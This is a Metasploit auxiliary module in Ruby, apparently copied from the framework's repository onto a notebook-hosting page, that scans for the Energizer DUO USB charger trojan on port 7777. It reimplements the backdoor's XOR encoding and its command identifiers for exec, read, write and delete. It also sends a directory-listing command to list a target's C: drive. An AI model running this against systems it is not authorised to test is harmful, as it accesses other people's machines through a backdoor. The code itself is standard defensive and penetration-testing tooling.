Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/scanner/backdoor/energizer_duo_detect.rb
Views: 11623
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Tcp7include Msf::Auxiliary::Scanner8include Msf::Auxiliary::Report910def initialize11super(12'Name' => 'Energizer DUO Trojan Scanner',13'Description' => 'Detect instances of the Energizer DUO trojan horse software on port 7777',14'Author' => 'hdm',15'References' =>16[17['CVE', '2010-0103'],18['OSVDB', '62782'],19['US-CERT-VU', '154421']20],21'License' => MSF_LICENSE22)2324register_options(25[26Opt::RPORT(7777),27])28end2930def trojan_encode(str)31str.unpack("C*").map{|c| c ^ 0xE5}.pack("C*")32end3334def trojan_command(cmd)35cid = ""3637case cmd38when :exec39cid = "{8AF1C164-EBD6-4b2b-BC1F-64674E98A710}"40when :dir41cid = "{0174D2FC-7CB6-4a22-87C7-7BB72A32F19F}"42when :write43cid = "{98D958FC-D0A2-4f1c-B841-232AB357E7C8}"44when :read45cid = "{F6C43E1A-1551-4000-A483-C361969AEC41}"46when :nop47cid = "{783EACBF-EF8B-498e-A059-F0B5BD12641E}"48when :find49cid = "{EA7A2EB7-1E49-4d5f-B4D8-D6645B7440E3}"50when :yes51cid = "{E2AC5089-3820-43fe-8A4D-A7028FAD8C28}"52when :runonce53cid = "{384EBE2C-F9EA-4f6b-94EF-C9D2DA58FD13}"54when :delete55cid = "{4F4F0D88-E715-4b1f-B311-61E530C2C8FC}"56end5758trojan_encode(59[0x27].pack("V") + cid + "\x00"60)61end6263def run_host(ip)6465begin6667connect68sock.put(trojan_command(:dir))69sock.put(70trojan_encode(71[4].pack("V") + "C:\\\x00\x00"72)73)7475lbuff = sock.get_once(4, 5)76if(not lbuff)77print_error("#{ip}:#{rport} UNKNOWN: No response to the directory listing request")78disconnect79return80end8182len = trojan_encode(lbuff).unpack("V")[0]83dbuff = sock.get_once(len, 30)84data = trojan_encode(dbuff)85files = data.split("|").map do |x|86if x[0,2] == "?1"87["D", x[2,x.length-2]]88else89["F", x]90end91end9293# Required to prevent the server from spinning a loop94sock.put(trojan_command(:nop))9596print_good("#{ip}:#{rport} FOUND: #{files.inspect}")97# Add Vulnerability and Report98report_vuln({99:host => ip,100:name => "Energizer DUO USB Battery Charger Software Arucer.dll Trojaned Distribution",101:refs => self.references102})103report_note(104:host => ip,105:proto => 'tcp',106:port => datastore['RPORT'],107:sname => "energizer_duo",108:type => 'Energizer DUO Trojan',109:data => files.inspect110)111disconnect112113rescue ::Interrupt114raise $!115rescue ::Rex::ConnectionError, ::IOError116end117118end119end120121122